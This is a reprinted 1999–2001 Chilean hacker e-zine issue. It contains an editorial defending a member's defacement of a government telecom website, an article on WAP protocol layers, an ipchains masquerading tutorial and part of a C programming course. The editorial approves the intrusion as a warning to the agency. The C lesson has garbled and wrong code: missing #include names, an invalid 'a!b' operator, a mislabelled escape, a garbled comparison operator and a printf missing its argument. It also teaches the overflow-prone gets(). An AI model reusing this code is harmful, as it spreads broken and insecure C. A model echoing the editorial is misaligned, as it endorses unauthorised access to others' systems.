Home E-Zines Electron Electron 03

Ultimos Mensajes del Foro

Manual Aleatorio

Incidentes de seguridad en equipos Linux (PDF)
Este texto analiza los datos de intrusiones en equipos linux
Leer más...
Electron 03 PDF Imprimir E-mail
Martes, 30 de Noviembre de 1999 01:00
Protocolo Inalambrico de Aplicaciones III,Enmascaramiento Mediante Ipchains, Programacion en C III, Programacion en Turbo Pascal, Como Instalar Debian 2.2, Electro-diccionario, A fondo con Virtual Turntables 1.80.04, Curso de Programacion en C, Reforzamiento II, Comandos Basicos en Red con Linux, Passwords en UNIX, Routers, The Cisco Networking Academy Program, Bug`s & Exploit`s.....

Texto Completo:
ø¤º´¤°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤°`°¤ø
ø¤º´¤°`°¤ø¸¸,ø¤°`´°¤ø¸                                    °¤ø¸¸,ø¤°``°¤ø¸,ø¤°`°¤ø
ø¤º´              °¤ø¸                                    °¤ø¸               `°¤ø
ø¤º´              °¤ø¸            .[*3] [http://www.govannom.org/e-zines/electron/electron03.txt]*EST*z$.             °¤ø¸               `°¤ø
ø¤º´              °¤ø¸           x*#"~```"!Rn·$           °¤ø¸               `°¤ø
ø¤º´  ELECTRON    °¤ø¸          z!~           ~@!         °¤ø¸   ELECTRON    `°¤ø
ø¤º´              °¤ø¸         xZ~             `Eo        °¤ø¸               `°¤ø
ø¤º´  SECURITY    °¤ø¸        $? ^%$%·ç·#~~·^]ç*`$        °¤ø¸   SECURITY    `°¤ø
ø¤º´              °¤ø¸        $EL"··$·$%2~$~€P*:$¸        °¤ø¸               `°¤ø
ø¤º´    TEAM      °¤ø¸        ?B                          °¤ø¸     TEAM      `°¤ø
ø¤º´              °¤ø¸         `?2L                       °¤ø¸               `°¤ø
ø¤º´              °¤ø¸          `#$m.......u@#~           °¤ø¸               `°¤ø
ø¤º´              °¤ø¸             ~2#tW2W$*"`            °¤ø¸               `°¤ø
ø¤º´¤°`°¤ø¸¸,ø¤°`´°¤ø¸                                    °¤ø¸¸,ø¤°``°¤ø¸,ø¤°`°¤ø
ø¤º´¤°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤°`°¤ø
ø¤º´                                                                         `°¤ø
ø¤º´                         ELECTRON SECURITY TEAM                          `°¤ø
ø¤º´                                                                         `°¤ø
ø¤º´                                 # 03                                    `°¤ø
ø¤º´                                                                         `°¤ø
ø¤º´              Revista Electronica CHILENA, del UnderGround               `°¤ø
ø¤º´                                                                         `°¤ø
ø¤º´                          Informatico Mundial                            `°¤ø
ø¤º´                                                                         `°¤ø
ø¤º´¤°`°¤ø¸¸,ø¤°`´°¤ø¸¸,ø¤°`°¤ø¸¸,| 07/03/01 |°`°¤ø¸¸,ø¤°`°¤ø¸¸,ø¤°``°¤ø¸,ø¤°`°¤ø





,-`^´-,.  .,-`^´-,.  .,-`^´-,.  .,-`^´-,. .,-`^´-,.  .,-`^´-,. .,-`^´-,. .,-`^´-,

La informacion almacenada en el ELECTRON ^ Todo comentario emitido en el ELECTRON
es publicada con el unico fin de ense¤ar ^ queda  bajo  la unica  responsabilidad  
educar y orientar  a  sus  lectores,todo ^ del nick que lo firme y  no representa
acto k produsca da¤o y/o destruccion con ^ la  forma  de pensar  del  e-zine. Los 
dicha informacion en  forma directa  y/o ^ caracteres  y  acentos  son eliminados
indirecta quedara bajo el amparo y unica ^ para evitar problema de compatibilidad
responsabilidad del lector...            ^ con algunos editores...

,-`^´-,.  .,-`^´-,.  .,-`^´-,.  .,-`^´-,. .,-`^´-,.  .,-`^´-,. .,-`^´-,. .,-`^´-,
	



---------------------------------------------------------------------------------
-<( ELECTRON SECURITY TEAM )>-=======================================-<( TEAM )>-
---------------------------------------------------------------------------------

-<(    EleKtr0      )>-============[E]=============-<(        
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-
-<(    z0rbas       )>-============================-<(         
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-
-<(    meth0dist    )>-============[S]=============-<(      
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-
-<(    bAnkZide     )>-============================-<(       
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-
-<(    Kraptor      )>-============[T]=============-<(        
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-

---------------------------------------------------------------------------------                           
-<( ELECTRON SECURITY TEAM )>-==============================-<( COLABORADORES )>-
---------------------------------------------------------------------------------
                             
-<(    th3nc0d3r    )>-============================-<(  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-
-<(    ViC3Nt       )>-============================-<(     
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-
-<(    PlaXiuS      )>-============================-<(    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-
-<(    Ytrium       )>-============================-<(       
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-
-<(    To4s7        )>-============================-<(        
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-
-<(    Cisco        )>-============================-<(     
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-
-<(    NetKrash     )>-============================-<(     
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  )>-



                                                           E-ZINE
                                                          °¤ø,¸,ø¤°	   
       		        					
         E     E-Mail Oficial = 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
                    E	
         L     Pagina Oficial = www.electron-team.subnet.dk             L	
         E     Canal  Oficial = #electron / irc.terra.cl / 7000         E
         C                                                              C	
         T                                                              T
         R                                                  # 02        R  	
         O                                                °¤ø,¸,ø¤°     O
         N                                                              N
               Editor         = EleKtr0
               Electrones     = Kraptor, meth0dist
               Electrones     = EleKtr0, z0rbas, bAnkZide
               Colaboradores  = th3nc0d3r, ViC3Nt, PlaXiuS, Ytrium
               Colaboradores  = To4s7, Cisco, NetKrash
         S                                                              S
         E                                                 SALUDOS      E
         C                                                °¤ø,¸,ø¤°     C
         U                                                              U
         R     CDLR           =  www.cdlr.org                           R
         I     FYE            =  www.350cc.com                          I
         T     0ri0n          =  www.0ri0n.org                          T
         Y     SET            =  www.set-ezine.org                      Y
               0wn3d          =  www.0wn3d.f2s.com
               Ezkracho TEAM  =  www.ezkracho.com.ar
               
                                                          DOWNLOAD  
         T                                                °¤ø,¸,ø¤°     T
         E                                                              E
         A     Zine Store     =  www.zine-store.com.ar                  A
         M     Van Hackez     =  www.vanhackez.com                      M
               0ri0n          =  www.0ri0n.org
               


            
                                       INDICE
                                     `°¤ø,¸,ø¤°
                TITULO                                            AUTOR
              `°¤ø,¸,ø¤°                                        °¤ø,¸,ø¤°


-<( 01 )>-<( Editorial ........................................ El Editor )>-
-<( 02 )>-<( Protocolo Inalambrico de Aplicaciones III ........ EleKtr0   )>-
-<( 03 )>-<( Enmascaramiento Mediante Ipchains ................ ViC3Nt    )>-
-<( 04 )>-<( Programacion en C III ............................ EleKtr0   )>-
-<( 05 )>-<( Programacion en Turbo Pascal ..................... meth0dist )>-
-<( 06 )>-<( Como Instalar Debian 2.2 ......................... th3nc0d3r )>-
-<( 07 )>-<( "Electro-diccionario" ............................ EleKtr0   )>-
-<( 08 )>-<( A fondo con Virtual Turntables 1.80.04 ........... bAnkZide  )>-
-<( 09 )>-<( Curso de Programacion en C, Reforzamiento II ..... z0rbas    )>-
-<( 10 )>-<( Comandos Basicos en Red con Linux ................ EleKtr0   )>-
-<( 11 )>-<( Passwords en UNIX ................................ z0rbas    )>-
-<( 12 )>-<( Estudio y Analisis de un Computador .............. Kraptor   )>-
-<( 13 )>-<( Routers (ReFerencia Basica) ...................... ViC3Nt    )>-
-<( 14 )>-<( The Cisco Networking Academy Program ............. Cisco     )>-
-<( 15 )>-<( UnderNews ........................................ EST       )>-
-<( 16 )>-<( ZZZZzzzzzzZZZZZzzzzZZZZZzzzz! .................... El Editor )>-
-<( 17 )>-<( Comentarios y Reflexiones del Caso ThEye ......... Varios    )>-
-<( 18 )>-<( Bug`s & Exploit`s ................................ EleKtr0   )>-
-<( 19 )>-<( Correo Electronico ............................... EST       )>-
-<( 20 )>-<( Intentando dar una Respuesta ..................... EST       )>-
-<( 21 )>-<( Llaves PGP ....................................... EST       )>-
-<( 22 )>-<( Despedida y Comentario Final ..................... El Editor )>-





,ø¤°`´°¤ø¸
-<[ 01 ]>-
`°¤ø,¸,ø¤°

Autor     : EleKtr0
Titulo    : Editorial

Sean  todos  ustedes  bienvenidos a  la  tercera  entrega  de  nuestro e-zine. 
No ha pasado mucho tiempo desde que lanzamos el segundo numero  y  sin embargo
en ese  corto  lapso de tiempo  en  nuestro  pais  (CHILE)  han  pasado  echos
bastante fuertes que me gustaria comentar en esta edicion.

No voy hacer incapie con lo sucedido en la protesta contra Bysecure  ni con el
tiron de orejas que se llevo LatinMail, si no mas bien  referirme  al  caso de 
nuestro amigo y compa¤ero ThEye quien como todos sabemos fue citado a declarar
en el 32º juzgado del crimen de Santiago...  luego de que la  Subsecretaria de
Telecomunicaiones pusiera una querella en su contra tras  percatarse  a traves
de un IDS de la intrusion de Roberto A. (ThEye) en sus sistemas.

Basta con tener solo 2 dedos de frente como para pensar que ThEye no es ningun 
criminal como para recibir una demanda a lo  menos  una amenaza, pero  no  una
citacion al juzgado del crimen, reserven esas citaciones para los violadores y
asesinos que en estos momentos estan cometiendo sus fechorias libremente...

Lo que sucedio fue ke alertaron a la SUBTEL desfasando su web de inet,algo que
en lo personal apruebo tremendamente  si  pensamos  que  la  subsecretaria  de
telecomunicaiones de chile debe y tiene la  obligacion  de  ser  la  principal
impulsadora del masificamiento de internet en nuestro  pais y aun  mas  se  le
suma a esto la pobre y asquerosa seguridad de sus  sistemas, pensemos  que  la
SUBTEL maneja  informacion  confidencial  valiosa  para  cualquier  persona  u
organizacion que dese tenerla, pongamosnos a pensar solo un momento y pensemos
en el sgt caso: Imaguinemos a un grupo de cyberdelincuentes que se enteren  de
la pobre y asquerosa seguridad de los sistemas de la SUBTEL y  esten sedientos
por obtener acceso, pensemos que logran  y  tienen  accesso  total a  la  base
de  datos de la Subsecretaria de telecomunicaciones, ellos  revisan, modifican
y alteran la informacion alli contenida, agreguemos que estos  se¤ores  no son
para nada amigables y no lo van a pensar dos veces para lucrar con estos datos
son datos de extrema importancia y confidencia, es informacion valiosa!...

Esta escena facilmente pudo haber sido verdadera y si  no  es  haci  quien  me
puede asegurar lo contrario?? imaguinemos que ThEye fue el que desfaso la  web
pero que hubiese pasado si no lo hubiese echo en se¤al de  advertencia  de  la
pobre seguridad alli existente?? y ahora me  vienen a decir que lo que Roberto
hiso (dudamos que haya sido el) es condenable a minimo 3 a¤os tras las rejas!?
el previnio un desastre aun mayor, lo que ThEye hiso fue un  acto  del  que la
mismisima SUBTEL deberia estar agradecida, pero nuevamente vemos  como  aflora
la estupides de nuestras autoridades vemos como siguen siendo unos trogloditas
a la hora de tomar  desiciones...  y  mas  aun desatan  la  rabia  de  nuestra
comunidad, algo que de buenas a primeras no les beneficia para nada!...

La reaccion nuestra no pudo ser mejor y haci iniciamos  una  compa¤a  conocida
como Hackers por Chile en contra de la demanda que acusa a ThEye, solo pedimos
pasificamente y creemos que haci debe ser, el retiro de la demanda.

Por lo pronto nos queda esperar haber que resuelven el abogado  de  Roberto  y 
los tribunales de justicia,desde aqui te damos todo el apoyo y fuerza posible.

Fuerza! ThEye!

Autor     : EleKtr0
Titulo    : Editorial






,ø¤°`´°¤ø¸
-<[ 02 ]>-
`°¤ø,¸,ø¤°

Autor     : EleKtr0
Titulo    : Protocolo Inalambrico de Aplicaciones
Entrega # : III
Contenido : Hoy terminaremos esta seguidilla de explicaiones de  las  ditintas
capas k componen al Protocolo WAP

Capa Inalámbrica de Seguridadd de Transporte
============================================

La Capa Inalámbrica de Seguridad de Transporte (en adelante WTLS),  constituye
una capa modular, esta  depende  del  nivel de  seguridad  requerido  por  una
determinada aplicación,proporciona a las capas de nivel  superior  de  WAP  de
una interfaz de servicio de transporte seguro,que lo resguarde de una interfaz
de transporte inferior

El objetivo es proporcionar privacidad, integridad  de datos y autentificación
entre dos aplicaciones

Adicionalmente, la WTLS proporciona una interfaz para el manejo de  conexiones
seguras

Bueno y al igual que como lo hemos hecho en los protocolos anteriores, vamos a
ver algunas de las primitivas mas importantes de esta capa:

SEC-Unitdata: Se utiliza  para  intercambiar  datos de  usuario entre  los dos
participantes, sólo puede ser invocada cuando existe previamente una  conexión
segura entre las direcciones de transporte de los dos participantes

SEC-Create: Se utiliza para iniciar el establecimiento de una conexión segura

SEC-Exchange: Esta primitiva se utiliza en la creación de una conexión  segura
si el servidor desea utilizar autentificación de clave  pública o  intercambio
de claves con el cliente

SEC-Terminate: Esta primitiva se utiliza para finalizar la conexión.


Protocolo Inalámbrico de Datagramas 
===================================

Algunas aplicaciones de los Datagramad de esta capa son:
                         _________________
                        |_______\__WTLS___|
                        |__UDP__|__WDP____|
                        |__IP___|__NO IP__|


Este  protocolo  ofrece  un  servicio  consistente  al  protocolo  (Seguridad,
Transacción y Sesión), comunicándose de forma transparente sobre  uno  de  los
servicios disponibles.

Este protocolo ofrece servicios a los  protocolos  superiores, segmentación  y
re-ensamblado opcional y  detección  de  errores  opcional, de  forma  que  se
permite a las aplicaciones de usuario funcionar de  forma  transparente  sobre
los servicios portadores disponibles

Algunas de sus primitivas mas importantes son:

T-DUnitdata: Esta  primitiva  es  la  utilizada  para  transmitir  datos  como 
datagramas. No requiere que exista una conexión para establecerse

T-DError: Esta primitiva se utiliza para proporcionar  información  a la  capa
superior cuando ocurre un error que pueda influenciar en el servicio

Por ultimo el orden de todas las capas ya vista en el Protocolo WAP:


 _________________________    __________________________________________________
| CAPA DE APLICACION (WAE)|  |                                                  |
|_________________________|  |___                                               |
 _____________________________   |       OTROS                                  |
|     CAPA DE SESION (WSP)    |  |                                              |
|_____________________________|  |_______       SERVICIOS                       |
 _____________________________________   |                                      |
|         CAPA DE TRANSACCIONES (WTP) |  |                 Y                    |
|_____________________________________|  |_____                                 |
 ___________________________________________   |              APLICACIONES      |
|               CAPA DE SEGURIDAD (WTLS)    |  |                                |
|___________________________________________|  |_____                           |
 _________________________________________________   |                          |
|                     CAPA DE TRANSPORTE (WDP)    |  |                          |
|_________________________________________________|  |__________________________|



 Protocolos portadores:
 _______________________________________________________________________________
|                                                                               |
| GSM     IS-136      CDMA       PHS      CDPD       PDC-P      iDEN     etc    |
|_______________________________________________________________________________|


Autor     : EleKtr0
Titulo    : Protocolo Inalambrico de Aplicaciones
Entrega # : III y ultima
E-mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
Bibliografia : [WAPARCH] "Wireless Application Protocol Architecture Specification"
               URL: http://www.wapforum.com/





,ø¤°`´°¤ø¸
-<[ 03 ]>-
`°¤ø,¸,ø¤°

Autor     : ViC3Nt
Titulo    : Enmascaramiento Mediante Ipchains
Comentario: En este capitulo trataremos del  enmascaramiento  de ips, mediante
ipchains, obviamente para linux.

Explicare una breve resen~a de lo que es el enmascaramiento para que  tengamos
una idea de lo que es, para que sirve, y que podemos hacer con el.  Esta claro
que no se todo sobre enmascaramiento, pero este texto  lo que  hace  es  guiar
desde un aspecto basico, la confeccion de reglas para poder proteger tu red  o
para dar internet a una red completa de PC sin necesidad de tener ips  validas
para todos.

Esto esta orientado para cualquier persona que quiera aprender un poco  mas  y
para algun administrador que quiera segurizar su red de forma facil y rapida.

Contenido : Bueno, el enmascaramiento consiste en usar un servidor, de sistema
operativo que sea,como pasarela para los requerimientos que hace un computador
con una ip invalida(para esto lo estoy orientando). Para  mi  es  uno  de  los
metodos mas seguros que existen para poder resguardar una red  interna  puesto
que no se ve  desde  la  inet, solo  el  servidor, entonces  te  preocupas  de
segurizar ese servidor en particular y luego los demas PCs, el  hecho  es  que
para que puedan perforar la red interna deben entrar  al  servidor  y  de  ahi
conseguir acceso a los  pcs  con  ips  privadas, esto graficado  seria  de  la
siguiente forma:



		ip valida(200.28.22.x)		ip privada 10.0.0.1	10.0.0.2
INTERNET-------- eth0 (interface externa)SERVER eth1(Interface Interna)---WORKSTATION1
						     |
						     |
						     |
						WORKSTATION2
						  10.0.0.3


Aqui se explica mejor,o sea desde una ip valida o visible desde Internet no es
posible rutear directamente  hacia  una  ip  privada, debe  hacerlo  desde  el
servidor, el cual tiene 2 interfaces de red una para internet y  una  para  la
LAN, entonces protegemos el servidor, me explico?... ok

Un Pc de la red al estar enmascarado sale a  internet  con  la  misma  ip  del
servidor y tiene varios beneficios, uno de ellos es que  se  pueden restringir
los permisos de personas que no deben tener internet en la red interna  y  asi
no recargamos nuestro enlace, podemos tambien restringir el  acceso a  sitios,
o dar acceso solo a puertos especificos.

Un Pc de la red interna, al hacer un requerimiento web, envia  el  paquete  al
servidor,el cual evalua si la ip del PC esta autorizada para entrar primero al
PC, o sea la cadena input, si lo esta entonces evalua si esta autorizado  para
que su paquete salga a internet, si lo  esta  entonces  envia  el  paquete  al
destino al que va, mejor explicado en la siguiente figura.


                              WORKSTATION
                             (Web Request)
                                   |
                                   |
                          Esta autorizado? a entrar
                                   |-------------NO(bota el paquete)
                                   SI	
					     |					  
                                   SERVER
                         Esta Autorizado a Salir?--------NO(bota el paquete)
                                   SI
                                   |
                                   |
                                INTERNET		


Ahi quedo un poco  mas  explicado, creo, bueno  ahora  vamos  a  la  practica,
recuerden que necesitamos 2 tarjetas de red.. como .. por supuesto 2, una para
la red interna y otra para la red externa o  sea  pa  Internet, facil  no?  si
hacemos una conexion a internet  por  medio  de  un  modem  o  una  ISDN  solo
necesitamos una tarjeta de red.. claro.. Internet llega  desde  otra  interfaz 
pues.. desde ppp.

Antes ya hice un texto explicando como se hace un firewall, asi que ahora solo
voy a explicar las reglas de enmascaramiento, como mencione antes (en  el otro
texto) se usa la cadena forward para poder sacar a internet a  la  ip  privada
que queramos.

Bueno..
algunos ejemplos practicos

Supongamos que tenemos una red con ips privadas del tipo 10.0.0.0/8. o sea con
mascara 255.0.0.0

- Si queremos dar internet a la red completa entonces:

bash# ipchains -A forward -s 10.0.0.0/8 -d 0.0.0.0/0 -j MASQ

Aca dimos acceso a todos los sitios internet a la  red  interna  a  todos  los
puertos.

- Si queremos dar acceso a una ip especifica de la LAN y no a la red completa:

bash# ipchains -A forward -s 10.0.0.1/32 -d 0.0.0.0/0 -j MASQ

ponemos mascara de 32 bits, obvio

- Acceso solo para navegacion web:

bash# ipchains -A forward -p tcp -s 10.0.0.0/8 -d 0.0.0.0/0 www -j MASQ

- Denegar acceso a algun  sitio  en  especial  por  ejemplo  www.microsoft.com
primero tiene que tener acceso para entrar a  internet  y  luego  denegar, las
cadenas van en orden.

bash# ipchains -A forward -s 10.0.0.0/8 -d www.microsoft.com/32 -j DENY

- Acceso a puertos especificos:

bash# ipchains -A forward -p tcp -s 10.0.0.0/8 -d 0.0.0.0/0 telnet -j MASQ
bash# ipchains -A forward -p tcp -s 10.0.0.0/8 -d 0.0.0.0/0 ftp -j MASQ
bash# ipchains -A forward -p tcp -s 10.0.0.0/8 -d 0.0.0.0/0 smtp -j MASQ

bueh y asi sucesivamente, pueden cambiar el protocolo tcp por el que sea  para
el servicio que desean activar o poner ALL para todos  los  protocolos  si  no
estan seguros.

Bueno aca termina esto.. espero les sirva, si tienen alguna  duda  a  mi  mail

 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 , otra cosa, si tienen cable modem o DSL esta puede ser  una
buena alternativa para conectar varios  PCs  sin  tener  que  pagar  mas, como
siempre buscan los ISPs de aca de chile. conectan un linux a Inet y los  otros
a ips privadas... y listo, una LAN para su hogar.

nos vemos ....

Autor     : ViC3Nt
Titulo    : Enmascaramiento Mediante Ipchains
E-Mail    : 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 





,ø¤°`´°¤ø¸
-<[ 04 ]>-
`°¤ø,¸,ø¤°


Autor     : EleKtr0
Titulo    : Programacion en C
Entrega # : III
Contenido : Esta vez veremos Expresiones, Typescasting,  Operaciones Booleanas
Expresiones Complejas, Cadenas de Caracteres, Entrada y Salida  y  Expresiones
Condicionales y ya con eso hiriamos terminando este peque¤o curso de C.

Expresiones: En una expresion se puede incluir  operaciones  matematicas  como
son la suma la resta la multiplicacion y division. Esto se hace  de  la  forma
k todo mundo conoce, osea con sus respectivos signos sean estos:

+ = suma
- = resta
* = multiplicacion
/ = division

suma = numero+numero;
resta = numero-numero;
multiplicaion = numero*numero;
division = numero/numero;

En una misma  expresion  pueden  haber  varias  operaciones, como  sabemos  la
multiplicacion y la division se realizan antes k las demas operaciones a menos
k haya parentisis donde se resolvera el  parentisis para  seguir con las demas
operaciones:

resultado = 3+2*5-4*(2+3);


Luego k se ejecute esta operacion la expresion resultado  obtiene  un valor de
-7 Ahy otros procedimientos mas rapidos para las acciones de  sumar  1  a  una
variable (incremetnto) y restarle 1 (decremento)para este objetivo se usan los
operadores ++ y -- respectivamente... Su uso es bastante sencillo  solo  basta
con escribir el nombre de la variable precedido  o  seguido  del operador  que
corresponda.

resultado++;
resultado--;

Typecasting; Cuendo keremos cambiar de tipo de asignacion de un valor definido
anteriormente, por ejemplo tenemos ya definido:

int resultado;

Si kisieramos vambiarla a un tipo como float en ves de int, lo k  tendriamos k 
hacer es forzar la variable indicando el nombre del nuevo tipo k kisieramos en
este caso float, para ello enserraremos en parentisis el nuevo tipo:

(float)resultado;

Operaciones Booleanas: No solo operaciones matematicas podemos realizar  en  C
si no k tmb operaciones algebricas, estas operaciones son:

and(&)
or(|)
xor(^)
not(!)

Ejemplo:

c = a&b; /*en c quedan en 1 todos los valores k coincidan en 1 en a y b */
c = a|b; /*en c quedan en 1 todos los bits en 1 en a o b */
c = a^b; /*lo mismo k el anterior, pero solo es en a o b */
c = a!b; /*en c quedan en 1 todos los bits k en a estaban a 0 y veceversa */

Expresiones Complejas: Como ya sabemos C devuelve un valor  a  cada  expresion
algunas expresiones son: operaciones aritmeticas, operaciones logicas,llamadas
a funciones, asignaciones de valores, esto significa k se puede  asignar a una
variable el valor  devuelto por  una funcion  y poder asi  utilizarlo  en otra
expresion o incluso se pude asignar un valor a dos variables a la vez:

a=b=5;

Aki se evalua la expresion b = 5, k da 5 y este valor se le asigna a a

Cadenas de Caracteres: En C un caracter es un simbolo imprimible  k debe estar
encerrado entre las comillas dobles " algunos  caracteres  serian  "A"  o  "0"
Ahy algunos caracteres k no se pueden escribir directamente, sin  embargo, ahy
un sistema bastante interesante k se conoce como escapado,consiste en escribir
una barra inversa \ seguida de una serie de caracteres.El conjunto de la barra
inversa y de los caracteres es interpretado por el  compilador  como  un  solo
caracter

Si kisieramos escrbir el simbolo de comillas simple tendriamos k hacerlo asi:

"\""

La variable unsigned char es la designada para almacenar caracteres sueltos,se
pueden utilizar los cracteres como caracter o como numero  segun sea  el  caso

Por ejemplo esto seria una cadena de caracteres sueltos:

"cadena de caracteres sueltos"
"cadena k termina por un salto de linea\n"
"cadena k termina borrando la pantalla\f"
"cadena k termina con tabulacion\t"
"cadena k imprime la barra invertida \"

Para declarar una variable k contenga una cadena de  caracteres, es  necesario
primero conocer su logintud maxima k pudiese tener esa cadena, ejemplo:

char cadena1[69];
char cadena1[]="cadena inicializada";
char cadena3[40]="otra cadena mas";

La variable cadena1 podra contener como maximo 68 caracteres
La variable cadena2 podra contener como maximo 19 caracteres
La variable cadena3 podra contener como maximo 39 caracteres

Si han sido observadores podremos notar que se han  definido  en  la  variable
cadena1 un maximo de [69] caracteres pero donde solo podremos amacenar 68,esto
es debido a k el final de una cadena de caracteres se marca  internamente  con
una caracter 0 k como es obbio ocupa 1 espacio.

Entrada y Salida: Algo que es muy comun ver en  programas  es  la  peticion de
ciertos datos por medio del teclado asi como tmb visualizar otros  tantos  por
pantalla y/o impresora, como ya sabemos en C se disponen  de  varios  comandos
para hacer estas acciones y uno de los mas usados e  importantes  es  "printf" 
sin comillas claro...

El comando "printf" nos permitira ver el contenido de varias variables  sea en 
el de una primero y luego la otra o todas de inmediato con un formato adecuado
para  que  queden  en  un  orden  correcto  dentro  el  monitor  y  asi  poder
comprenderlas...

"printf" tiene varios parametros con los k se  le   pude  llamar,  el  primero
vendria a ser una cadena  decaracteres  cuyo  contenido  sera  visualizado  en
pantalla a exepcion de en aquellos lugares en donde se encuentre un signo de %
(porcentaje) ya k este signo indica  k  en  ese  luegar  de  debe  insertar el
contenido de cierta variable, esto va en un orden correlativo, asi  el  primer
porcentaje inserta el contenido del la primera  variable  tras  la  cadena  de
formato, el segundo inserta el contenido de la segunda variable tras la cadena
de formato etc, etc...

Atras de signo del porcentaje apareceran una serie de caracteres k indican  de
k tipo es la variable a insertar,por ejemplo en %s nos indica k la variable es
del tipo "string" y %i k es del tipo "int"

Revisemos un fracmento de codigo:

char cadena[]="elektro";
printf("me llamo %s.\n",cadena);

Esto da como resultado en pantalla la frase: me llamo elektro

Se usa %c para visualizar variables del tipo caracter "char"
Se usa %i para visualizar variables del tipo enteros 
Se usa %f para visualizar variables del tipo "float" o "double"

printf ("%s %i %s", var1, var2, var3);
          |__|__|____|     |     |
             |__|__________|     |
                |________________|
 
Usaremos la funcion "getchar"  para  leer  del  teclado  unico  caracter, esta
funcion no acepta parametros:

(char)getchar();

Ahora la funcion mas usada para obtener cadenas de caracteres  por  teclado es
"gets" la k acepta un solo parametro k seria el nombre de la  variable en  que
se va almacenar la cadena recuvida por el teclado:

gets(variable);

Para poder leer los numeros introducidos  por  teclados  es necesario  primero 
leer ese numero como una cadena de caractres y luego convertirlo a numero.
Para ellos existen dos funciones distintas que son: atoi y atof

Ambas funciones toman como parametro una cadena de caracteres  y  devuelven un
int o un double. Estas funciones estan en la libreria "stdlib.h" por lo  k ahy
k incluirla en la cabezara de nuestro programa con el correspondiente #include

Veamos un peque¤o ejemplo para las variables ya vistas:

#include 
#include 

int main()
{
   char nombre[33];
   char temp[33];
   int edad;
   int faltan;

   printf("Hola, ¿como te llamas?");
   gets(nombre);
   printf("Hola %s, cuantos a¤os tienes ?",nombre);
   gets(temp);

   edad=atoi(temp);
   faltan=69-edad;
 
   printf("%s, te faltan %i a¤os para cumplir 69\n",nombre,faltan);
   printf("Solo %i\n",faltan);
}

Expresiones Condicionales: El tipo proceso  k un  programa  tiene  k  realizar
generalmente de depede de los valores k hayan  tomado  ciertas  variables, del
estado del tarro, etc... para k los programas puedan  tomar  desiciones  deben
evaluar condiciones y averiguar si estas se cumplen o no, esto lo haremos  con
las expresiones condicionales

Segun los valores k tomen las  expresiones  a  los  lados  del  operador  y el 
ordenador k este sea,la expresion condicional tomara valor 0 o uno distinto de
cero. Como sabemos si el valor es 0 la condicion es  falsa  en  cualkier  otro
caso sera verdadera

La comprovacion mas sencilla es cuando comparamos  entre  dos valores, si  son
iguales si son diferentes, si uno es mayor k el otro etc... 

a==b

Eso nos comprueba que  la  variable  "a"  es  igual  a la variable  "b", si la
variable "a" fuese mayor k la variable "b" la comprovacion nos  devolveria  un
rotundo 0, el operador logico de esta comprovacion  es == (igual) tenemos  mas
comprovadores algunos son:

a!=b   /* a es distinto de b */
a>b    /* a mayor k b */
a=b   /* a mayor o igual k b */
a<=b   /* a menor o igual k b */

Bueno y como ya lo hemos visto tmb es posible usar los operadores boleanos que
como dijimos eran: && (and) || (or) y ! (not) con  esta  la  expresion  a && b
seria sierta si a y b son ciertas:a || b es cierta si a es cierta o  si  b  es
cierta o ambas y la expresion !a es cierta si solo a no es cierta.

Ahora veremos las estructuras de control como; if... else
Bueno todo ya debemos saber como funciona esto asik solo me  limitare a  decir
su sintaxis y uso:

if(condicion)bloque1
else bloque2

El  bloque1  y  2  pueden  ser  instrucciones  aisladas  como  tambien  varias
instrucciones delimitadas con llaves [{}], si la  condicion  es  cierta  seran
ejecutadas las instrucciones del bloque1, si  la condicion  no  es  cierta  se
ejecutan las instrucciones del bloque2, ahora si no se desea ejecutar nada  en
caso k no sea cierta se elimina el else y bloque2:

if(a==b)
  printf("a y b son iguales\n");
else{
  printf("a y b no son iguales\n");
  a=b;
}

if((a!=b)&&(b!=c)
  printf("a b y c son distintos\n");

Existe la  estructura  "switch"  que  nos  permitira  ejecutar  una  o  varias
instrucciones dependiendo de el valor de una expresion:

switch(expr)
{
  case valor1:
   instrucciones1;
  case valor2:
   instrucciones2;
  ...
  default:
   instrucciones3;
}


El programa lo primero k hace es avaluar (expr) y salta directamente al primer
case, si el valor coincide si es asi ejecuta sus instrucciones de no  ser  asi
entonces pasa al segundo case, de no coincidir con ninguna salta al default.

Las estrucuturas repetitivas y  sabemos  para que  son  tmb  sabemos  que  la
variable usada para estas sircunstancias es "while" cuya sintaxis es:

while(condicion)
  bloque;

esta consiste en ejecutar el bloque mientras la condicion sea cierta:

int c=0;
while(c<5)
{
  printf("%i\n",c);
  c++;
}

Otra muy parecida es "do... while" sintaxis:

do bloque;
while(condicion);

Ejemplo:

int c=0;
do{
   printf("%i\n",c);
   c++;
} while(c<5);

Y otra mas seria "for" sintaxis:

for(expr_inicializacion;condicion;expr_interaccion)bloque;

Ejemplo:

int c;
for(c=0;c<5;c++)printf("%i\n");

Y eso seria todo!.

Autor     : EleKtr0
